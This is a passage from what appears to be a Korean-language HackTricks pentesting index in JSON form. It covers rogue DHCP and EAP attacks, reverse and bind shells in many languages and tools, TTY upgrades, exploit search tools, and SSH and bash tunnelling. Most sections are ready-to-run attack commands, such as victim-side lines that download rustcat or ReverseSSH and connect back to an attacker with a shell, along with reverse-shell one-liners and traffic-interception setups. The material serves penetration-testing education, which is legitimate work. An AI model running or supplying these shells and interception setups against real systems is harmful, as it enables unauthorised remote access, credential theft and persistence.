DHCP server는 /usr/share/responder/DHCP.py에 있는 DHCP 스크립트로 설정할 수 있습니다. 이는 트래픽을 악성 서버로 리다이렉트하여 HTTP 트래픽과 자격 증명을 캡처하는 등 네트워크 공격에 유용합니다. 다만 rogue gateway를 설정하는 것은 덜 효과적입니다. 이는 클라이언트의 아웃바운드 트래픽만 캡처할 수 있어 실제 gateway의 응답을 놓치기 때문입니다. 대신 더 효과적인 공격을 위해 rogue DNS 또는 WPAD 서버를 설정하는 것이 권장됩니다. 다음은 rogue DHCP 서버를 구성하기 위한 명령 옵션입니다: Our IP Address (Gateway Advertisement) : -i 10.0.0.100을 사용해 당신 머신의 IP를 gateway로 광고합니다. Local DNS Domain Name : 선택적으로 -d example.org을 사용해 로컬 DNS 도메인 이름을 설정합니다. Original Router/Gateway IP : 합법적인 router/gateway의 IP 주소를 지정하려면 -r 10.0.0.1을 사용합니다. Primary DNS Server IP : 당신이 제어하는 rogue DNS 서버의 IP를 설정하려면 -p 10.0.0.100을 사용합니다. Secondary DNS Server IP : 선택적으로 보조 DNS 서버 IP를 설정하려면 -s 10.0.0.1을 사용합니다. Netmask of Local Network : 로컬 네트워크의 넷마스크를 정의하려면 -n 255.255.255.0을 사용합니다. Interface for DHCP Traffic : 특정 네트워크 인터페이스에서 DHCP 트래픽을 수신하려면 -I eth1을 사용합니다. WPAD Configuration Address : WPAD 구성 주소를 설정해 웹 트래픽 가로채기를 돕기 위해 -w “http://10.0.0.100/wpad.dat”을 사용합니다. Spoof Default Gateway IP : 기본 gateway IP를 스푸핑하려면 -S를 포함합니다. Respond to All DHCP Requests : 서버가 모든 DHCP 요청에 응답하도록 하려면 -R을 포함하세요. 단, 이는 눈에 띄며 탐지될 수 있습니다. 이 옵션들을 올바르게 사용하면 네트워크 트래픽을 효과적으로 가로채기 위해 rogue DHCP 서버를 구축할 수 있습니다. python # Example to start a rogue DHCP server with specified options\\n!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w \\"http://10.0.0.100/wpad.dat\\" -S -R","breadcrumbs":"Pentesting Network » DHCP 공격","id":"124","title":"DHCP 공격"},"1240":{"body":"bash # Requires no external binaries; leverages zsh/net/tcp module\\nzsh -c \'zmodload zsh/net/tcp; ztcp ; zsh -i <&$REPLY >&$REPLY 2>&$REPLY\'","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Zsh (내장 TCP)","id":"1240","title":"Zsh (내장 TCP)"},"1241":{"body":"https://github.com/robiot/rustcat – 현대적인 netcat과 유사한 리스너로 Rust로 작성됨 (2024년부터 Kali에 패키징됨). bash # Attacker – interactive TLS listener with history & tab-completion\\nrcat listen -ib 55600 # Victim – download static binary and connect back with /bin/bash\\ncurl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_64 -o /tmp/rcat \\\\\\n&& chmod +x /tmp/rcat \\\\\\n&& /tmp/rcat connect -s /bin/bash 55600 특징: 암호화된 전송을 위한 선택적 --ssl 플래그 (TLS 1.3) 피해자에게 임의의 바이너리(예: /bin/sh, python3)를 생성하기 위한 -s 완전한 대화형 PTY로 자동 업그레이드를 위한 --up","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Rustcat (rcat)","id":"1241","title":"Rustcat (rcat)"},"1242":{"body":"revsh는 암호화된 Diffie-Hellman 터널 을 통해 전체 TTY를 제공하는 작은 C 클라이언트/서버이며, 선택적으로 TUN/TAP 인터페이스를 연결하여 리버스 VPN과 같은 피벗을 지원할 수 있습니다. bash # Build (or grab a pre-compiled binary from the releases page)\\ngit clone https://github.com/emptymonkey/revsh && cd revsh && make # Attacker – controller/listener on 443 with a pinned certificate\\nrevsh -c 0.0.0.0:443 -key key.pem -cert cert.pem # Victim – reverse shell over TLS to the attacker\\n./revsh :443 유용한 플래그: -b : 리버스 대신 바인드 셸 -p socks5://127.0.0.1:9050 : TOR/HTTP/SOCKS를 통한 프록시 -t : TUN 인터페이스 생성 (리버스 VPN) 전체 세션이 암호화되고 다중화되기 때문에, 일반 텍스트 /dev/tcp 셸을 종료시킬 수 있는 간단한 아웃바운드 필터링을 종종 우회합니다.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » revsh (암호화 및 피벗 준비 완료)","id":"1242","title":"revsh (암호화 및 피벗 준비 완료)"},"1243":{"body":"공격자 (Kali) bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate\\nopenssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands\\nopenssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response 희생자 bash #Linux\\nopenssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : #Windows\\nopenssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect :","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » OpenSSL","id":"1243","title":"OpenSSL"},"1244":{"body":"https://github.com/andrew-d/static-binaries","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Socat","id":"1244","title":"Socat"},"1245":{"body":"bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane\\nattacker> socat FILE:`tty`,raw,echo=0 TCP::1337","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » 바인드 셸","id":"1245","title":"바인드 셸"},"1246":{"body":"bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0\\nvictim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » 리버스 셸","id":"1246","title":"리버스 셸"},"1247":{"body":"bash awk \'BEGIN {s = \\"/inet/tcp/0//\\"; while(42) { do{ printf \\"shell>\\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \\"exit\\") close(s); }}\' /dev/null","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Awk","id":"1247","title":"Awk"},"1248":{"body":"공격자 bash while true; do nc -l 79; done 명령을 보내려면 입력하고 Enter를 누른 다음 CTRL+D를 누릅니다 (STDIN을 중지하려면). 희생자 bash export X=Connected; while true; do X=`eval $(finger \\"$X\\"@ 2> /dev/null\')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger \\"$X\\"@ 2> /dev/null | grep \'!\'|sed \'s/^!//\')`; sleep 1; done","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Finger","id":"1248","title":"Finger"},"1249":{"body":"bash #!/usr/bin/gawk -f BEGIN {\\nPort = 8080\\nPrompt = \\"bkd> \\" Service = \\"/inet/tcp/\\" Port \\"/0/0\\"\\nwhile (1) {\\ndo {\\nprintf Prompt |& Service\\nService |& getline cmd\\nif (cmd) {\\nwhile ((cmd |& getline) > 0)\\nprint $0 |& Service\\nclose(cmd)\\n}\\n} while (cmd != \\"exit\\")\\nclose(Service)\\n}\\n}","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Gawk","id":"1249","title":"Gawk"},"125":{"body":"Here are some of the attack tactics that can be used against 802.1X implementations: EAP를 통한 활성 brute-force 비밀번호 무차별 대입 손상된 EAP 콘텐츠로 RADIUS 서버 공격 ** (exploits) EAP 메시지 캡처 및 오프라인 비밀번호 크래킹 (EAP-MD5 및 PEAP) EAP-MD5 인증을 강제하여 TLS 인증서 검증을 우회 허브 등의 장치를 사용해 인증할 때 악성 네트워크 트래픽을 주입 If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt","breadcrumbs":"Pentesting Network » EAP 공격","id":"125","title":"EAP 공격"},"1250":{"body":"이것은 포트 6001에서 귀하의 시스템에 연결을 시도할 것입니다: bash xterm -display 10.0.0.1:1 역방향 셸을 잡기 위해 사용할 수 있는 것은 (포트 6001에서 수신 대기할 것입니다): bash # Authorize host\\nxhost +targetip\\n# Listen\\nXnest :1","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Xterm","id":"1250","title":"Xterm"},"1251":{"body":"by frohoff 주의: Java reverse shell은 Groovy에서도 작동합니다. bash String host=\\"localhost\\";\\nint port=8044;\\nString cmd=\\"cmd.exe\\";\\nProcess p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Groovy","id":"1251","title":"Groovy"},"1252":{"body":"https://highon.coffee/blog/reverse-shell-cheat-sheet/ http://pentestmonkey.net/cheat-sheet/shells/reverse-shell https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/ https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md https://github.com/robiot/rustcat https://github.com/emptymonkey/revsh tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » References","id":"1252","title":"References"},"1253":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 이 페이지의 목표는 최소한 로컬 원시 TCP 포트와 로컬 웹(HTTP)을 인터넷에 노출할 수 있는 대안을 제안하는 것입니다. 다른 서버에 아무것도 설치할 필요 없이(필요한 경우 로컬에만 설치).","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Expose local to the internet » 로컬을 인터넷에 노출하기","id":"1253","title":"로컬을 인터넷에 노출하기"},"1254":{"body":"From https://serveo.net/ , it allows several http and port forwarding features for free . bash # Get a random port from serveo.net to expose local port 4444\\nssh -R 0:localhost:4444 serveo.net # Expose a web listening in localhost:300 in a random https URL\\nssh -R 80:localhost:3000 serveo.net","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Expose local to the internet » Serveo","id":"1254","title":"Serveo"},"1255":{"body":"https://www.socketxp.com/download 에서 tcp와 http를 노출할 수 있습니다: bash # Expose tcp port 22\\nsocketxp connect tcp://localhost:22 # Expose http port 8080\\nsocketxp connect http://localhost:8080","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Expose local to the internet » SocketXP","id":"1255","title":"SocketXP"},"1256":{"body":"https://ngrok.com/ 에서 http 및 tcp 포트를 노출할 수 있습니다: bash # Expose web in 3000\\nngrok http 8000 # Expose port in 9000 (it requires a credit card, but you won\'t be charged)\\nngrok tcp 9000","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Expose local to the internet » Ngrok","id":"1256","title":"Ngrok"},"1257":{"body":"https://telebit.cloud/ 에서 http 및 tcp 포트를 노출할 수 있습니다: bash # Expose web in 3000\\n/Users/username/Applications/telebit/bin/telebit http 3000 # Expose port in 9000\\n/Users/username/Applications/telebit/bin/telebit tcp 9000","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Expose local to the internet » Telebit","id":"1257","title":"Telebit"},"1258":{"body":"https://localxpose.io/ 에서, 여러 http 및 포트 포워딩 기능을 무료로 제공합니다. bash # Expose web in port 8989\\nloclx tunnel http -t 8989 # Expose tcp port in 4545 (requires pro)\\nloclx tunnel tcp --port 4545","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Expose local to the internet » LocalXpose","id":"1258","title":"LocalXpose"},"1259":{"body":"From https://expose.dev/ http 및 tcp 포트를 노출할 수 있습니다: bash # Expose web in 3000\\n./expose share http://localhost:3000 # Expose tcp port in port 4444 (REQUIRES PREMIUM)\\n./expose share-port 4444","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Expose local to the internet » Expose","id":"1259","title":"Expose"},"126":{"body":"FHRP (First Hop Redundancy Protocol)는 핫 리던던트 라우팅 시스템을 생성하도록 설계된 네트워크 프로토콜 계열입니다. FHRP를 사용하면 물리적 라우터들을 단일 논리 장치로 결합할 수 있어 결함 허용성이 증가하고 부하 분산에 도움이 됩니다. Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP. GLBP & HSRP Attacks","breadcrumbs":"Pentesting Network » FHRP (GLBP & HSRP) Attacks","id":"126","title":"FHRP (GLBP & HSRP) Attacks"},"1260":{"body":"https://github.com/localtunnel/localtunnel 에서 무료로 http를 노출할 수 있습니다: bash # Expose web in port 8000\\nnpx localtunnel --port 8000 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Expose local to the internet » Localtunnel","id":"1260","title":"Localtunnel"},"1261":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Full TTYs » Full TTYs","id":"1261","title":"Full TTYs"},"1262":{"body":"SHELL 변수에 설정한 셸은 반드시 _ /etc/shells _에 목록에 있어야 하며, 그렇지 않으면 The value for the SHELL variable was not found in the /etc/shells file This incident has been reported라는 메시지가 표시됩니다. 또한, 다음 스니펫은 bash에서만 작동합니다. zsh에 있는 경우, bash를 실행하여 bash로 변경한 후 셸을 얻으십시오. Python bash python3 -c \'import pty; pty.spawn(\\"/bin/bash\\")\' (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; note **stty -a**를 실행하여 행 과 열 의 수 를 확인할 수 있습니다. script bash script /dev/null -qc /bin/bash #/dev/null is to not store anything\\n(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; socat bash #Listener:\\nsocat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim:\\nsocat exec:\'bash -li\',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Full TTYs » Full TTY","id":"1262","title":"Full TTY"},"1263":{"body":"python -c \'import pty; pty.spawn(\\"/bin/sh\\")\' echo os.system(\'/bin/bash\') /bin/sh -i script -qc /bin/bash /dev/null perl -e \'exec \\"/bin/sh\\";\' perl: exec \\"/bin/sh\\"; ruby: exec \\"/bin/sh\\" lua: os.execute(\'/bin/sh\') IRB: exec \\"/bin/sh\\" vi: :!bash vi: :set shell=/bin/bash:shell nmap: !sh","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Full TTYs » 쉘 생성","id":"1263","title":"쉘 생성"},"1264":{"body":"대화형 쉘 접근 및 파일 전송 과 포트 포워딩 을 위한 편리한 방법은 정적으로 연결된 ssh 서버 ReverseSSH 를 타겟에 배포하는 것입니다. 아래는 upx로 압축된 바이너리를 사용하는 x86의 예입니다. 다른 바이너리에 대해서는 릴리스 페이지 를 확인하세요. ssh 포트 포워딩 요청을 수신하기 위해 로컬에서 준비합니다: bash # Drop it via your preferred way, e.g.\\nwget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -v -l -p 4444 (2a) 리눅스 타겟: bash # Drop it via your preferred way, e.g.\\nwget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -p 4444 kali@10.0.0.2 (2b) Windows 10 타겟 (이전 버전은 프로젝트 README 를 확인하세요): bash # Drop it via your preferred way, e.g.\\ncertutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe reverse-ssh.exe -p 4444 kali@10.0.0.2 ReverseSSH 포트 포워딩 요청이 성공했다면, 이제 reverse-ssh(.exe)를 실행하는 사용자의 컨텍스트에서 기본 비밀번호 letmeinbrudipls로 로그인할 수 있어야 합니다: bash # Interactive shell access\\nssh -p 8888 127.0.0.1 # Bidirectional file transfer\\nsftp -P 8888 127.0.0.1","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Full TTYs » ReverseSSH","id":"1264","title":"ReverseSSH"},"1265":{"body":"Penelope 는 리눅스 리버스 셸을 자동으로 TTY로 업그레이드하고, 터미널 크기를 처리하며, 모든 것을 기록하고 그 외에도 많은 기능을 제공합니다. 또한 Windows 셸에 대한 readline 지원을 제공합니다. penelope","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Full TTYs » Penelope","id":"1265","title":"Penelope"},"1266":{"body":"어떤 이유로 전체 TTY를 얻을 수 없는 경우에도 여전히 사용자 입력을 기대하는 프로그램과 상호작용할 수 있습니다 . 다음 예제에서는 비밀번호가 sudo에 전달되어 파일을 읽습니다: bash expect -c \'spawn sudo -S cat \\"/root/root.txt\\";expect \\"*password*\\";send \\"\\";send \\"\\\\r\\\\n\\";interact\' tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Full TTYs » No TTY","id":"1266","title":"No TTY"},"1267":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Search Exploits » Search Exploits","id":"1267","title":"Search Exploits"},"1268":{"body":"항상 \\"google\\" 또는 다른 곳에서 검색하세요: [version] exploit 또한 https://exploits.shodan.io/ 에서 shodan exploit search 를 시도해 보세요.","breadcrumbs":"Search Exploits » Browser","id":"1268","title":"Browser"},"1269":{"body":"exploitdb 에서 서비스에 대한 exploit를 검색하는 데 유용합니다. bash #Searchsploit tricks\\nsearchsploit \\"linux Kernel\\" #Example\\nsearchsploit apache mod_ssl #Other example\\nsearchsploit -m 7618 #Paste the exploit in current directory\\nsearchsploit -p 7618[.c] #Show complete path\\nsearchsploit -x 7618[.c] #Open vi to inspect the exploit\\nsearchsploit --nmap file.xml #Search vulns inside an nmap xml result","breadcrumbs":"Search Exploits » Searchsploit","id":"1269","title":"Searchsploit"},"127":{"body":"Routing Information Protocol(RIP)에는 RIP, RIPv2, RIPng의 세 가지 버전이 존재합니다. RIP과 RIPv2는 UDP를 사용해 포트 520으로 피어에게 데이터그램을 전송하는 반면, RIPng는 IPv6 멀티캐스트를 통해 UDP 포트 521로 데이터그램을 브로드캐스트합니다. RIPv2는 MD5 인증을 지원하도록 도입되었습니다. 반면 RIPng는 네이티브 인증을 포함하지 않으며, 대신 IPv6에서 선택적 IPsec AH 및 ESP 헤더에 의존합니다. RIP and RIPv2: 통신은 포트 520의 UDP 데이터그램을 통해 이루어집니다. RIPng: IPv6 멀티캐스트를 통해 UDP 포트 521로 데이터그램을 브로드캐스트합니다. RIPv2가 MD5 인증을 지원하는 반면 RIPng는 네이티브 인증을 포함하지 않고 IPv6의 IPsec AH 및 ESP 헤더에 의존한다는 점을 유의하세요.","breadcrumbs":"Pentesting Network » RIP","id":"127","title":"RIP"},"1270":{"body":"https://github.com/rfunix/Pompem 은 익스플로잇을 검색하기 위한 또 다른 도구입니다.","breadcrumbs":"Search Exploits » Pompem","id":"1270","title":"Pompem"},"1271":{"body":"bash msf> search platform:windows port:135 target:XP type:exploit","breadcrumbs":"Search Exploits » MSF-Search","id":"1271","title":"MSF-Search"},"1272":{"body":"아무것도 발견되지 않으면 https://packetstormsecurity.com/ 에서 사용된 기술을 검색해 보세요.","breadcrumbs":"Search Exploits » PacketStorm","id":"1272","title":"PacketStorm"},"1273":{"body":"vulners 데이터베이스에서도 검색할 수 있습니다: https://vulners.com/","breadcrumbs":"Search Exploits » Vulners","id":"1273","title":"Vulners"},"1274":{"body":"이것은 다른 데이터베이스에서 익스플로잇을 검색합니다: https://sploitus.com/","breadcrumbs":"Search Exploits » Sploitus","id":"1274","title":"Sploitus"},"1275":{"body":"GTFOBins와 유사한 필터가 있는 익스플로잇의 큐레이션된 목록 (취약점 유형에 따른 필터: 로컬 권한 상승, 원격 코드 실행 등, 서비스 유형: 웹, SMB, SSH, RDP 등, OS 및 실습 랩 (익스플로잇을 가지고 놀 수 있는 머신에 대한 링크)): https://sploitify.haxx.it","breadcrumbs":"Search Exploits » Sploitify","id":"1275","title":"Sploitify"},"1276":{"body":"search_vulns는 알려진 취약점과 익스플로잇을 검색할 수 있게 해줍니다: https://search-vulns.com/ . NVD, Exploit-DB, PoC-in-GitHub, GitHub 보안 자문 데이터베이스 및 endoflife.date와 같은 다양한 데이터 소스를 활용합니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Search Exploits » search_vulns","id":"1276","title":"search_vulns"},"1277":{"body":"Reading time: 22 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Tunneling and Port Forwarding » Tunneling and Port Forwarding","id":"1277","title":"Tunneling and Port Forwarding"},"1278":{"body":"warning ICMP 및 SYN 스캔은 socks 프록시를 통해 터널링할 수 없으므로 ping 탐지 를 비활성화 해야 합니다 (-Pn) 그리고 TCP 스캔 (-sT)을 지정해야 합니다.","breadcrumbs":"Tunneling and Port Forwarding » Nmap tip","id":"1278","title":"Nmap tip"},"1279":{"body":"Host -> Jump -> InternalA -> InternalB bash # On the jump server connect the port 3333 to the 5985\\nmknod backpipe p;\\nnc -lvnp 5985 0backpipe # On InternalA accessible from Jump and can access InternalB\\n## Expose port 3333 and connect it to the winrm port of InternalB\\nexec 3<>/dev/tcp/internalB/5985\\nexec 4<>/dev/tcp/Jump/3333\\ncat <&3 >&4 &\\ncat <&4 >&3 & # From the host, you can now access InternalB from the Jump server\\nevil-winrm -u username -i Jump","breadcrumbs":"Tunneling and Port Forwarding » Bash","id":"1279","title":"Bash"},"128":{"body":"**EIGRP (Enhanced Interior Gateway Routing Protocol)**는 동적 라우팅 프로토콜입니다. 이는 거리 벡터(distance-vector) 프로토콜입니다. 인증과 passive 인터페이스 설정이 없으면, 침입자 가 EIGRP 라우팅을 방해하여 **라우팅 테이블 오염(poisoning)**을 일으킬 수 있습니다. 또한 EIGRP 네트워크(즉, autonomous system)는 평면화되어 있어 어떤 존(zone)으로도 분할되어 있지 않습니다. 공격자가 라우트를 주입하면 그 라우트는 autonomous EIGRP 시스템 전체에 전파될 가능성이 큽니다. EIGRP 시스템을 공격하려면 정식 EIGRP 라우터와 이웃(neighbourhood) 관계를 수립해야 하며, 이는 기본적인 정찰부터 다양한 주입 공격에 이르기까지 많은 가능성을 열어줍니다. FRRouting 을 사용하면 BGP, OSPF, EIGRP, RIP 등 프로토콜을 지원하는 가상 라우터를 구현할 수 있습니다. 공격자 시스템에 이를 배포하면 라우팅 도메인에서 정식 라우터인 척 할 수 있습니다. EIGRP Attacks Coly 는 EIGRP 브로드캐스트를 가로채는 기능을 제공합니다. 또한 패킷 주입(packet injection)을 허용하여 라우팅 구성을 변경하는 데 활용할 수 있습니다.","breadcrumbs":"Pentesting Network » EIGRP Attacks","id":"128","title":"EIGRP Attacks"},"1280":{"body":"SSH 그래픽 연결 (X) bash ssh -Y -C @ #-Y is less secure but faster than -X","breadcrumbs":"Tunneling and Port Forwarding » SSH","id":"1280","title":"SSH"},"1281":{"body":"SSH 서버에서 새 포트 열기 --> 다른 포트 bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere","breadcrumbs":"Tunneling and Port Forwarding » Local Port2Port","id":"1281","title":"Local Port2Port"},"1282":{"body":"로컬 포트 --> 손상된 호스트 (SSH) --> Third_box:Port bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host\\n#Example\\nsudo ssh -L 631::631 -N -f -l ","breadcrumbs":"Tunneling and Port Forwarding » Port2Port","id":"1282","title":"Port2Port"},"1283":{"body":"로컬 포트 --> 손상된 호스트 (SSH) --> 어디든 bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy)","breadcrumbs":"Tunneling and Port Forwarding » Port2hostnet (proxychains)","id":"1283","title":"Port2hostnet (proxychains)"},"1284":{"body":"이것은 DMZ를 통해 내부 호스트에서 귀하의 호스트로 리버스 셸을 얻는 데 유용합니다: bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN\\n# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000\\n# Note that port 443 must be open\\n# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems\\n# and change the line \\"GatewayPorts no\\" to \\"GatewayPorts yes\\"\\n# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)","breadcrumbs":"Tunneling and Port Forwarding » Reverse Port Forwarding","id":"1284","title":"Reverse Port Forwarding"},"1285":{"body":"두 장치에서 루트 권한이 필요합니다 (새 인터페이스를 생성할 것이기 때문입니다) 그리고 sshd 설정에서 루트 로그인을 허용해야 합니다: PermitRootLogin yes PermitTunnel yes bash ssh root@server -w any:any #This will create Tun interfaces in both devices\\nip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP\\nifconfig tun0 up #Activate the client side network interface\\nip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP\\nifconfig tun0 up #Activate the server side network interface 서버 측에서 포워딩 활성화 bash echo 1 > 